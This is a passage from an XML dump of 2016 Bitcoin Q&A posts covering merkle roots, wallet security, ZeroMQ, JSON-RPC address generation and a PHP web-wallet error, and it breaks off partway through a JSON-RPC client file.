  <row Id="43751" PostTypeId="1" CreationDate="2016-04-16T01:12:23.343" Score="0" ViewCount="136" Body="&lt;p&gt;If I look at a block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/block/000000000000000004f0cc322f551e39676f781186441614da3281bbc7d373e0&quot; rel=&quot;nofollow&quot;&gt;000000000000000004f0cc322f551e39676f781186441614da3281bbc7d373e0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the value of the merkel root: &lt;code&gt;9fe31d0d9d06d9da341a3ee757c57bb29af522796d5d9efa5efded8cda1684a4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is supposedly the hash of the hash of all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this value randomly? Could it be manipulated, through people spoofing transactions, or is it cryptographically improbable to know in advance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the block isn't cryptographically secure for the reason mentioned below, but I was wondering if the merkle tree itself was, thanks!&lt;/p&gt;&#xA;" OwnerUserId="27951" LastEditorUserId="120" LastEditDate="2016-04-17T13:01:01.423" LastActivityDate="2016-04-17T13:01:01.423" Title="Is the merkle root random? (Crytographically secure?)" Tags="|bitcoind|blockchain|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43752" PostTypeId="2" ParentId="43056" CreationDate="2016-04-16T01:49:09.163" Score="5" Body="&lt;p&gt;They anticipated this type of attack and they are monitoring their JavaScript files, check this website of theirs &lt;a href=&quot;http://blockchain-status.com/javascript_verifier&quot;&gt;http://blockchain-status.com/javascript_verifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, CloudFlare (the reverse proxy they use) can modify the Javascript on the fly (CloudFlare is at the other end of the encryption for your browser, so SSL here only secures the connection between you and the CloudFlare machines, and optionally CloudFlare to Blockchain.info, you're not directly connecting to Blockchain)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is true that the client-side script does not send the password to the server but you actually need to &lt;em&gt;send&lt;/em&gt; your wallet password to use their old wallet API (it's being deprecated) and if a hacker can somehow control their servers, it is possible that the hackers can read the unencrypted wallet from the memory without having to inject malicious client scripts, even if we assume they are not saving them to the disk.&lt;/p&gt;&#xA;" OwnerUserId="34826" LastActivityDate="2016-04-16T01:49:09.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43753" PostTypeId="2" ParentId="43751" CreationDate="2016-04-16T02:03:01.503" Score="2" Body="&lt;p&gt;&lt;code&gt;000000000000000004f0cc322f551e39676f781186441614da3281bbc7d373e0&lt;/code&gt; is not the merkle root, it's the block hash. It seems that's what you are asking about, so I'll answer that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not random, nor cryptographically secure random. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not random: As you can see, it begins with many zeroes, which a random hash is VERY unlikely to have. The right-most bits are random for the most part, but the value as a whole is not random because of the requirement that the block hash begin with so many zeroes to be a valid block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not cryptographically secure: A miner could, although it would be expensive for them to do so, mine many blocks and only submit ones that end in 'FF' for example. So, miners have the option to publish or not publish any blocks they solve. As such, since miners are producing these blocks, it is not cryptographically secure random.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-04-16T02:03:01.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43755" PostTypeId="2" ParentId="43742" CreationDate="2016-04-16T09:20:18.770" Score="1" Body="&lt;p&gt;Because Bitcoin in general uses little-endian while most hashing libraries use big-endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details and links see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2063/why-does-the-bitcoin-protocol-use-the-little-endian-notation&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-04-16T09:20:18.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43758" PostTypeId="1" CreationDate="2016-04-16T19:20:17.777" Score="1" ViewCount="68" Body="&lt;p&gt;I would like to analyze forks happened until now in the blockchain, is there any kind of script or suggestion to view that(not the blockchain.info chart)&lt;/p&gt;&#xA;" OwnerUserId="34848" LastActivityDate="2016-04-16T19:20:17.777" Title="Finding forks in the blockchain" Tags="|blockchain|blockchain-fork|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43760" PostTypeId="2" ParentId="43735" CreationDate="2016-04-17T06:30:51.047" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What defines a Buy vs a Sell record in the trading time series of an exchange?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A buy is an attempt to acquire a particular thing. A sell is attempt to get rid of a particular thing. The distinction is in which side is specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say the going price for apples is around $1 apiece. If I try to sell 10 apples, I'll wind up with 10 apples less and roughly $1 more. If I try to buy $1, I'll wind up with $1 more and roughly 10 apples less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An offer always has an implicit &quot;do better if you can&quot; on the end of it. So &quot;sell 1 apple for $1&quot; means to sell exactly 1 apple but get $1 or more. Similarly &quot;buy $1 for 1 apples&quot; means to buy exactly $1 but give up 1 apple or less. If the rate is precisely $1 for 1 apple, then they're the same, but if either offer does better, the results will be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say someone is willing to pay $1.50 for an apple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, say I place an offer to sell 2 apples for $2. I'll obviously sell 1 apple for $1.50, but I still need to sell one more (for $1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But say instead I placed an offer to buy $2 for 2 apples. I'll obviously buy $1.50 for one apple. But now I only need to buy $.50 more (for 1/2 an apple).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So both a buy and a sell execute the same against existing offers, but they can place different offers on the books. One apple for one dollar in one case, half and apple for half a dollar in the other case.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In any trade there is always someone selling and someone buying... So what defines a particular trade as Buy or Sell?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. A buy can match a buy and a sell can match a sell. If I'm selling Bitcoins for dollars and someone else is selling dollars for Bitcoins, we can match each other. So long as one offer can satisfy the other, they match.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2016-04-17T06:36:47.883" LastActivityDate="2016-04-17T06:36:47.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43761" PostTypeId="1" CreationDate="2016-04-17T10:05:38.760" Score="4" ViewCount="486" Body="&lt;p&gt;I'm trying to connect to Bitcoin's ZeroMQ queue, having no success and don't even know where my problem is. Here is what I did so far on my Ubuntu 14.04:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Installed Bitcoin via &lt;code&gt;sudo apt-get install bitcoin-qt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;installed ZeroMQ via &lt;code&gt;wget http://download.zeromq.org/zeromq-4.1.2.tar.gz &amp;amp;&amp;amp; cd libzmq/ &amp;amp;&amp;amp; ./autogen.sh &amp;amp;&amp;amp; ./configure &amp;amp;&amp;amp; make -j 4 &amp;amp;&amp;amp; make check &amp;amp;&amp;amp; make install&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In my Scala application I use &lt;code&gt;jeromq&lt;/code&gt;: &lt;code&gt;libraryDependencies += &quot;org.zeromq&quot; % &quot;jeromq&quot; % &quot;0.3.5&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In Bitcoin's &lt;code&gt;bitcoin.conf&lt;/code&gt; I add the following line: &lt;code&gt;zmqpubhashtx=tcp://127.0.0.1:28332&lt;/code&gt; (i'm only interested in incoming tx id's)  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After doing all that I launch Bitcoin, then I launch my Scala app with the following code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import org.zeromq.ZMQ&#xA;val context = ZMQ.context(1)&#xA;val socket = context.socket(ZMQ.SUB) // Since server side is PUB&#xA;socket.connect(&quot;tcp://127.0.0.1:28332&quot;)&#xA;&#xA;while (true) {&#xA;  logger info socket.recv.length.toString&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I receive no messages. Thing is I don't even know what the problem is or how to test it. Does &lt;code&gt;apt-get&lt;/code&gt; version of Bitcoin even has ZeroMQ support? On &lt;code&gt;jeromq&lt;/code&gt; github it is stated that it's &lt;code&gt;Based on libzmq 3.2.5&lt;/code&gt; while Bitcoin requires &lt;code&gt;ZeroMQ API version 4.x or newer&lt;/code&gt;, could that be a reason? Or perhaps it's something else entirely?&lt;/p&gt;&#xA;" OwnerUserId="12533" LastActivityDate="2017-10-03T07:31:13.023" Title="Bitcoin ZeroMQ and Scala application" Tags="|java|zeromq|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43763" PostTypeId="1" CreationDate="2016-04-17T12:47:32.657" Score="2" ViewCount="1511" Body="&lt;p&gt;I want to convert a small amount of dogecoin (about 200D) to BTC. However, I've noticed that the withdrawal fees on all exchanges are more the amount of bitcoin I will have.&#xA;Is there no way of exchanging small amounts with a fee I can pay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;part12&lt;/p&gt;&#xA;" OwnerUserId="34866" LastActivityDate="2016-07-22T04:13:30.257" Title="How to exchange small amounts of dogecoin to bitcoin?" Tags="|transaction-fees|dogecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43764" PostTypeId="1" CreationDate="2016-04-17T13:47:50.070" Score="2" ViewCount="170" Body="&lt;p&gt;I'm a newcomer in the Bitcoin world and I wanted to ask the following questions regarding wallet security: What are the safety differences between fully encrypting the wallet.dat file and only encrypting the wallet's private keys, like the Electrum wallet does? Does the latter option imply any additional security concerns compared to full encryption? In what cases should someone choose either option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="34867" LastEditorUserId="34867" LastEditDate="2016-04-17T13:53:41.150" LastActivityDate="2016-04-17T13:53:41.150" Title="Safety differences between full wallet encryption and only encrypting the private keys?" Tags="|electrum|encryption|wallet-security|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43765" PostTypeId="2" ParentId="43763" CreationDate="2016-04-17T14:39:32.817" Score="1" Body="&lt;p&gt;One Doge/BTC exchange I know is &lt;a href=&quot;https://shapeshift.io&quot; rel=&quot;nofollow&quot;&gt;https://shapeshift.io&lt;/a&gt; - but they are currently down since it was hacked last weekend. Even small amounts was working (I don't know the exact minimum since there down currently - but some hundred Doge was possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe they will come back again in the next few days...&lt;/p&gt;&#xA;" OwnerUserId="34875" LastActivityDate="2016-04-17T14:39:32.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43768" PostTypeId="1" AcceptedAnswerId="43770" CreationDate="2016-04-17T18:14:15.813" Score="0" ViewCount="755" Body="&lt;p&gt;I have PHP Based Web Bitcoin Wallet on localhost. I use simple Login system and basic bitcoin Json-RPC. &#xA;In fact, everything is runing clearly, but my Bitcoin daemon giving same Bitcoin address to all users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want, Unique bitcoin address for every user? How? &lt;/p&gt;&#xA;" OwnerUserId="34882" LastActivityDate="2018-02-01T09:42:19.910" Title="Generate Unique address for each users?" Tags="|bitcoind|wallet|address|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43769" PostTypeId="1" CreationDate="2016-04-17T18:26:01.360" Score="2" ViewCount="606" Body="&lt;p&gt;Since 0.12 RPC uses a &quot;random cookie&quot;:&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes/release-notes-0.12.0.md#rpc-random-cookie-rpc-authentication&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes/release-notes-0.12.0.md#rpc-random-cookie-rpc-authentication&lt;/a&gt; for authentication, but it's not clear how to use this cookie when accessing RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying things like the below, without success (401 Unauthorized)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Request = array(&#xA;    'http' =&amp;gt; array(&#xA;        'method' =&amp;gt; 'POST',&#xA;        'header' =&amp;gt; &quot;Content-type: application/json\r\n&quot;.&#xA;                    'Cookie: __cookie__=contentsOf.cookie',&#xA;        'content' =&amp;gt; $Params&#xA;        )&#xA;    );&#xA;if (!$Response = file_get_contents(BITCOIN_RPC_URL, false, stream_context_create($Request))) {&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Every example I find online uses the user:pass authentication, I've yet to see an example using cookies.&lt;/p&gt;&#xA;" OwnerUserId="34883" LastActivityDate="2017-06-28T21:15:56.563" Title="Using PHP with RPC and cookie" Tags="|json-rpc|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43770" PostTypeId="2" ParentId="43768" CreationDate="2016-04-17T20:25:21.370" Score="0" Body="&lt;p&gt;The JSON-RPC has a method called &lt;code&gt;getnewaddress&lt;/code&gt; that will generate a new private-/public-keypair and return it to the caller. You can use this to generate a new address for each user. In order to track the balances of users I'd suggest grouping a user's addresses in an account associated with the user by calling &lt;code&gt;getaccountaddress&lt;/code&gt; with the user ID or the username. You can then use the &lt;code&gt;getbalance &amp;lt;user&amp;gt;&lt;/code&gt; call to check its current balance. However, there are some &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained#Account_Weaknesses&quot; rel=&quot;nofollow&quot;&gt;caveats&lt;/a&gt; when grouping addresses with accounts. &lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-17T20:25:21.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43771" PostTypeId="1" AcceptedAnswerId="48390" CreationDate="2016-04-18T07:24:29.737" Score="4" ViewCount="286" Body="&lt;p&gt;I installed bitcoin-qt (v 0.12.1) on Kubuntu 15.10. When starting it the first time the GUI asked me for the datadir. I set it to an external disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where are this settings stored? There is no &lt;code&gt;bitcoin.conf&lt;/code&gt; file in my &lt;code&gt;/home/&amp;lt;user&amp;gt;/.bitcoin/&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that I can manually create the &lt;code&gt;bitcoin.conf&lt;/code&gt; file. But I'm just curious, where the settings are stored, if no such file is present?&lt;/p&gt;&#xA;" OwnerUserId="34901" LastEditorUserId="34901" LastEditDate="2016-08-03T12:18:55.563" LastActivityDate="2016-09-03T10:22:23.510" Title="Where does bitcoin-qt store it's initial settings" Tags="|bitcoin-core|bitcoin-qt-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43774" PostTypeId="2" ParentId="42556" CreationDate="2016-04-18T19:48:23.190" Score="1" Body="&lt;p&gt;I'm not 100% sure, but as far as I know this is not (easily?) possible. The addresses used for sending/receiving payments are created using your initial private key (THe 20 word long seed) in a &lt;strong&gt;deterministic&lt;/strong&gt; way. When creating a new wallet with this pivate key, the same addresses are generated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not possible to guess your private key having one or more of your addresses. I think it's also not possible to guess which private key has generated the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use an address only for one transaction.&lt;/p&gt;&#xA;" OwnerUserId="34901" LastActivityDate="2016-04-18T19:48:23.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43775" PostTypeId="1" CreationDate="2016-04-18T21:35:48.777" Score="2" ViewCount="1218" Body="&lt;p&gt;I use bitcoind. And I have simple bitcoin wallet with simple login-register system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'Incorrect response id (request id: 1, response id: )' in /var/www/ponzi/htdocs/wallet/includes/jsonRPCClient.php:146 Stack trace: #0 /var/www/ponzi/htdocs/wallet/account.php(38): jsonRPCClient-&amp;gt;__call('getaccountaddre...', Array) #1 /var/www/ponzi/htdocs/wallet/account.php(38): jsonRPCClient-&amp;gt;getaccountaddress('kaka') #2 {main} thrown in /var/www/ponzi/htdocs/wallet/includes/jsonRPCClient.php on line 146&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Account Page;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include(&quot;includes/auth.php&quot;); //include auth.php file on all secure pages ?&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; lang=&quot;en&quot; xml:lang=&quot;en&quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&amp;gt;&#xA;        &amp;lt;title&amp;gt;MyCoinWallet - Account&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/styles.css&quot;  type=&quot;text/css&quot; /&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;        &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;top&quot;&amp;gt;&amp;lt;div style='float:left;position:relative;top:25px;'&amp;gt;&amp;lt;h2&amp;gt;MyCoinWallet&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;logomargin&quot;&amp;gt;&amp;lt;img src='images/logo-mockup2.png' /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;innermargin&quot;&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;MyCoinWallet Account&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;br /&amp;gt;&#xA;                        &amp;lt;form&amp;gt;&#xA;                            &amp;lt;br&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Welcome &amp;lt;?php echo $_SESSION['username']; ?&amp;gt;!&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;                            &amp;lt;?php&#xA;                            require_once('includes/db.php');&#xA;                            require_once('includes/config.php');&#xA;                            require_once('includes/jsonRPCClient.php');&#xA;                            require_once('includes/bcfunctions.php');&#xA;&#xA;                            $bitcoin = new jsonRPCClient('http://MYUSER:MYPASS@localhost:8332');&#xA;&#xA;                            $kadi = $_SESSION['username'];&#xA;&#xA;&#xA;                            // check for session address&#xA;                            if(isset($_SESSION['sendaddress'])) {&#xA;                                $sendaddress = refreshAddressIfStale($bitcoin,$_SESSION['sendaddress']); // session exists, check if its been used before&#xA;                                $_SESSION['sendaddress'] = $sendaddress;&#xA;                            } else {&#xA;                                // if address already exists in wallet (or new unfortunately), check the balance and set as main receivable address if zero&#xA;                                $curaddress = $bitcoin-&amp;gt;getaccountaddress($kadi);&#xA;                                $sendaddress = refreshAddressIfStale($bitcoin,$curaddress);&#xA;                                $_SESSION['sendaddress'] = $sendaddress;&#xA;                            }&#xA;&#xA;                            // save current balance&#xA;                            saveCurrentBalance($bitcoin, $_SESSION['sendaddress']);&#xA;&#xA;                            $userBalance = $_SESSION['userbalance'];&#xA;                            $singleconfirmBalance = number_format($bitcoin-&amp;gt;getbalance($_SESSION['username'], 0),8); // set to zero, this is near instant, set to one one on the side of caution&#xA;                            if($singleconfirmBalance &amp;gt; 0) {     // user has unconfirmed transactions&#xA;                                $unconfirmedBalance = $singleconfirmBalance - $userBalance;&#xA;                            }&#xA;                            echo &quot;Current Balance: &quot;. $userBalance .&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;                            if((isset($unconfirmedBalance)) &amp;amp;&amp;amp; ($unconfirmedBalance &amp;gt; 0)) {&#xA;                                echo &quot;Unconfirmed Balance: &quot;. $unconfirmedBalance .&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;                            }&#xA;&#xA;                            echo &quot;&amp;lt;h2&amp;gt;Recent Transactions:&amp;lt;/h2&amp;gt;&amp;lt;table&amp;gt;&quot;;&#xA;                            $transactions = $bitcoin-&amp;gt;listtransactions($_SESSION['username']);&#xA;                            foreach($transactions as $trans) {&#xA;                                if(isset($trans['account'])) {&#xA;                                    $transacct = $trans['account'];&#xA;                                } else {&#xA;                                    $transacct = '';&#xA;                                }&#xA;                                if(isset($trans['address'])) {&#xA;                                    $transaddress = $trans['address'];&#xA;                                } else {&#xA;                                    $transaddress = '';&#xA;                                }&#xA;                                if(isset($trans['category'])) {&#xA;                                    $transcategory = $trans['category'];&#xA;                                } else {&#xA;                                    $transcategory = '';&#xA;                                }&#xA;                                if(isset($trans['amount'])) {&#xA;                                    $transamount = $trans['amount'];&#xA;                                } else {&#xA;                                    $transamount = '';&#xA;                                }&#xA;                                if(isset($trans['confirmations'])) {&#xA;                                    $transconfirmations = $trans['confirmations'];&#xA;                                } else {&#xA;                                    $transconfirmations = '';&#xA;                                }&#xA;                                if(isset($trans['blockhash'])) {&#xA;                                    $transblockhash = $trans['blockhash'];&#xA;                                } else {&#xA;                                    $transblockhash = '';&#xA;                                }&#xA;                                if(isset($trans['blockindex'])) {&#xA;                                    $transblockindex = $trans['blockindex'];&#xA;                                } else {&#xA;                                    $transblockindex = '';&#xA;                                }&#xA;                                if(isset($trans['blocktime'])) {&#xA;                                    $transblocktime = $trans['blocktime'];&#xA;                                } else {&#xA;                                    $transblocktime = '';&#xA;                                }&#xA;                                if(isset($trans['txid'])) {&#xA;                                    $transtxid = $trans['txid'];&#xA;                                } else {&#xA;                                    $transtxid = '';&#xA;                                }&#xA;                                if(isset($trans['time'])) {&#xA;                                    $transtime = $trans['time'];&#xA;                                } else {&#xA;                                    $transtime = '';&#xA;                                }&#xA;                                if(isset($trans['timereceived'])) {&#xA;                                    $transtimereceived = $trans['timereceived'];&#xA;                                } else {&#xA;                                    $transtimereceived = '';&#xA;                                }&#xA;                                /*&#xA;                                $transaddress = $trans['address'];&#xA;                                $transcategory = $trans['category'];&#xA;                                $transamount = $trans['amount'];&#xA;                                $transconfirmations = $trans['confirmations'];&#xA;                                $transblockhash = $trans['blockhash'];&#xA;                                $transblockindex = $trans['blockindex'];&#xA;                                $transblocktime = $trans['blocktime'];&#xA;                                $transtxid = $trans['txid'];&#xA;                                $transtime = $trans['time'];&#xA;                                $transtimereceived = $trans['timereceived'];&#xA;                                */&#xA;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Address:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;. $transaddress .&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Amount:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;. number_format($transamount, 8) .&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Category:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;. $transcategory .&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Confirmations:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;. $transconfirmations .&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blockhash:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;. $transblockhash .&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;txid:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;. $transtxid .&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Time:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;. date(&quot;Y - M - d H:i:s&quot;, $transtime) .&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;                            }&#xA;                            ?&amp;gt;&#xA;                        &amp;lt;/table&amp;gt;&amp;lt;/form&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;menu&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;menumargin&quot;&amp;gt;&#xA;                    &amp;lt;a href='index.php'&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href='account.php'&amp;gt;Account&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href='deposit.php'&amp;gt;Deposit&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href='withdraw.php'&amp;gt;Withdraw&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href='contact.php'&amp;gt;Contact&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href='#'&amp;gt;Logout&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;footer&quot;&amp;gt;&amp;lt;a href=&quot;index.php&quot;&amp;gt;Home&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;account.php&quot;&amp;gt;Account&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;deposit.php&quot;&amp;gt;Deposit&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;withdraw.php&quot;&amp;gt;Withdraw&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;contact.php&quot;&amp;gt;Contact&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;#&quot;&amp;gt;Logout&amp;lt;/a&amp;gt; | &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jsonRPCClient.php;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;/*&#xA;                    COPYRIGHT&#xA;&#xA;Copyright 2007 Sergio Vaccaro &amp;lt;sergio@inservibile.org&amp;gt;&#xA;&#xA;This file is part of JSON-RPC PHP.&#xA;&#xA;JSON-RPC PHP is free software; you can redistribute it and/or modify&#xA;it under the terms of the GNU General Public License as published by&#xA;the Free Software Foundation; either version 2 of the License, or&#xA;(at your option) any later version.&#xA;&#xA;JSON-RPC PHP is distributed in the hope that it will be useful,&#xA;but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;GNU General Public License for more details.&#xA;&#xA;You should have received a copy of the GNU General Public License&#xA;along with JSON-RPC PHP; if not, write to the Free Software&#xA;Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA&#xA;*/&#xA;&#xA;/**&#xA; * The object of this class are generic jsonRPC 1.0 clients&#xA; * http://json-rpc.org/wiki/specification&#xA; *&#xA; * @author sergio &amp;lt;jsonrpcphp@inservibile.org&amp;gt;&#xA; */&#xA;&#xA; /* converted old fopen method to curl and added ability to use ssl - Galen */&#xA;&#xA;class jsonRPCClient {  &#xA;    /**&#xA;     * Debug state&#xA;     *&#xA;     * @var boolean&#xA;     */&#xA;    private $debug;&#xA;&#xA;    /**&#xA;     * The server URL&#xA;     *&#xA;     * @var string&#xA;     */&#xA;    private $url;&#xA;    /**&#xA;     * The request id&#xA;     *&#xA;     * @var integer&#xA;     */&#xA;    private $id;&#xA;    /**&#xA;     * If true, notifications are performed instead of requests&#xA;     *&#xA;     * @var boolean&#xA;     */&#xA;    private $notification = false;&#xA;&#xA;    /**&#xA;     * Takes the connection parameters&#xA;     *&#xA;     * @param string $url&#xA;     * @param boolean $debug&#xA;     */&#xA;    public function __construct($url,$debug = false) {&#xA;        // server URL&#xA;        $this-&amp;gt;url = $url;&#xA;        // proxy&#xA;        empty($proxy) ? $this-&amp;gt;proxy = '' : $this-&amp;gt;proxy = $proxy;&#xA;        // debug state&#xA;        empty($debug) ? $this-&amp;gt;debug = false : $this-&amp;gt;debug = true;&#xA;        // message id&#xA;        $this-&amp;gt;id = 1;&#xA;    }&#xA;&#xA;    /**&#xA;     * 